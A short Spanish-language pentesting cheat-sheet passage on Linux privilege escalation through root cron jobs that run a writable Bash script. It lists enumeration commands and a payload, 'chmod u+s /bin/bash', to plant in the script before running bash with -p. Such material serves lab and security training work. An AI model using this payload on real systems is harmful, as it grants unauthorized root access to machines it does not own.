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# Cron con script Bash modificado - Escalada de privilegios en Linux
## Qué es
Los trabajos cron crean rutas de escalada de privilegios cuando tareas recurrentes de root ejecutan scripts escribibles, rutas relativas inseguras o procesadores vulnerables. La clave es demostrar que un usuario con pocos privilegios controla algo que ejecutará una tarea programada privilegiada. Esta página específica se centra en **Trabajos cron - Script modificado (Bash)** y mantiene práctico el flujo de explotación: identificar la condición, validarla de forma segura y luego ejecutar la carga útil mínima necesaria para demostrar el impacto.
## Enumeración
Comienza confirmando el contexto local y la configuración incorrecta exacta antes de ejecutar la ruta de explotación.
```bash
cat /etc/crontab
ls -la /etc/cron.*
systemctl list-timers --all
```
## Ejemplos
En este caso, encontramos que un script.sh \*\* se está ejecutando\*\*:
Lo que haremos es **modificar** el script con el siguiente contenido:
```bash
sleep 2
chmod u+s /bin/bash
```
Ejecutamos un Bash con el **p** parámetro de privilegio:
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